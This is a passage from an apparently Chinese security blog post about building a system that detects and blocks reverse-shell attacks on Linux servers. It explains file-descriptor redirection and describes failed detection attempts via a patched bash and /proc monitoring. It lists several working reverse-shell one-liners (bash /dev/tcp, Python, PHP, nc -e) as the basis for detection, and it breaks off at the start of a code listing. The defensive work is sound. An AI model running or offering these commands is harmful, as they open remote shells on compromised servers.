当命令注入点已经到手，Webshell已经就绪，nc已经监听起来了，冒新鲜热气儿的Shell唾手可得的那种狂喜，大家还记得吗？反弹Shell一般是外网渗透的最后一步，也是内网渗透的第一步。反弹Shell对服务器安全乃至内网安全的危害不必多说。
虽然本diao主要是玩Web安全的，可主机安全监控也是要做起来的，谁让咱是一个人的安全部呢？最近笔者潜心搞了一个反弹Shell攻击自动发现和阻断系统，本着技术共享的理念，当然也是为了让各位大神看看有没有绕过的可能，把这个技术分享出来，大家共勉。
项目GitHub： Seesaw
0×1 反弹Shell解析
未知攻，焉知防？我们先来分析一下反弹Shell这个不新的渗透技术，看看有什么入手点。反弹Shell顾名思义，有两个关键词——反弹和Shell。
反弹：利用命令执行/代码执行/Webshell/Redis未授权访问写入crontab等等漏洞，使目标服务器发出主动连接请求，从而绕过防火墙的入站访问控制规则。
Shell：使服务器Shell进程stdin/stdout/stderr重定向到攻击端。
常见的反弹Shell姿势有（详见文章）：
bash -i >& /dev/tcp/ip/port 0>&1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
php -r 'exec("bash -i >& /dev/tcp/ip/port 0>&1");'
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
nc -e /bin/bash ip port
通过仔细观察，我们可以发现这些姿势无一例外使用了重定向，这也是识别反弹Shell的突破口，且听笔者细细道来。
我们知道Linux中一切皆文件，正常情况下打开Bash进程时，Bash进程的stdin、stdout、stderr会定向到终端设备文件（例如/dev/pts/0），如下示意图：
定向到终端设备文件
此时Bash打开的文件描述符为：
Bash打开的文件描述符
可以看到bash进程已经打开了对应的字符设备文件描述符，用于将stdin（0u）/stdout（1u）/stderr（2u）等定向到字符设备。
当出现反弹Shell时，例如最流行的姿势bash -i >& /dev/tcp/ip/port 0>&1，我们来解析一下这条命令的意思。
bash -i：启动交互式bash进程
& /dev/tcp/ip/port：将stdout/stderr重定向到与ip:port的tcp套接字中
0>&1：将stdin重定向到stdout中（此时stdout是重定向到套接字的，也就是说stdin也将从套接字中读取）
综上，这条命令是为了控制Bash进程，并获得进程的标准输出和错误输出，采用重定向技术将stdin/stdout/stderr重定向到了套接字设备中，此时输入输出的结构发生了变化，如下示意图：
输入输出的结构发生了变化
通过lsof命令可以看到此时的文件描述符打开情况：
文件描述符打开情况
可以发现stdin（0u）/stdout（1u）/stderr（2u）全都重定向到了TCP套接字中，而且此时进程所属的用户也变成了apache（运行Web服务的用户），当前路径就是Webshell所在的目录。
先知社区有不错的反弹Shell重定向分析：Linux反弹shell（一）文件描述符与重定向、Linux 反弹shell（二）反弹shell的本质。本文借鉴学习了这些文章内容，也正是通过对文章内容的学习启发了以上我对反弹Shell的特征提取思路，比心。
0×2 总体思路
综合上述分析，反弹Shell的识别思路便浮出水面：
及时发现Bash进程启动事件。
检查Bash进程是否打开了终端设备，是否有主动对外连接。
0×3 失败尝试
思路是有了，实现时却发现困难重重，第一个深坑，就是如何在第一时间捕捉到Shell进程的启动。为什么要第一时间呢？如果给了黑客短暂的操作窗口，就可能被植入更深层的木马/rootkit，甚至提权后直接把咱的监控程序干掉，这是绝对不能容忍的。
在这个深坑里，笔者扑腾了好几回，下面介绍在坑中的各种尝试，以及最终的成功方法。为啥失败的经验还要说呢？其实这些思路本身不坏，只是不太适合我们的项目目标，顺便介绍给大家共勉。
Round 1 Sysloghistory of BASH
既然要发现Shell进程，第一个思路是从Bash本身入手，如果Bash执行命令，让Bash进程自己告诉我。编译Bash开启命令history syslog功能，从而获取bash命令、bash进程pid、uid、pwd之类有用的信息，正好之前做异常命令识别时有过这个经验，当时也借鉴了一些文章：安全运维之如何将Linux历史命令记录发往远程Rsyslog服务器。
说干就干，下载bash源码：https://ftp.gnu.org/gnu/bash/。
a. 打开config-top.h 116行注释，开启bash syslog history功能：
开启bash syslog history功能
b. 在bashhist.c 771行和776行自定义需要的syslog内容和格式，比如我最爱的JSON，但由于命令内容容易出现引号、转义符等导致JSON解析不成功，单独放在一列：
JSON
c. 修改rsyslog配置/etc/rsyslog.conf，用于本地保存或者发送至远程日志服务器做分析，并重启rsyslog服务（service rsyslog restart）：
修改rsyslog配置
至此，所有调用Bash执行的命令都被我们记录下来了：
调用Bash执行的命令
是不是感觉胜利在望了？笔者当时也很兴奋。可是在测试中发现如果反弹命令前面带“sh -c”，就不会被记录。这是不能容忍的缺陷，可是为啥记录不到，找不到任何头绪。沮丧的同时笔者深入思考，这个方法是不适合用于监控Shell进程启动的，实际执行命令时再检查就太晚了。
Round 2 proc文件系统
此路不通不要气馁，再接再厉。我们知道Linux系统有一个proc伪文件系统，记录着当前内核运行状态等信息，还有以进程id为名的一堆目录，里面是与该进程相关的运行信息。能不能从proc文件系统下手，实时监控Shel进程呢？
第一反应是用inotify监控/proc目录创建目录的事件，一旦创建新目录就说明启动了新进程，再进行相应的检查。用pyinotify库写了一个监控程序：
class BashHandler(pyinotify.ProcessEvent):
| 
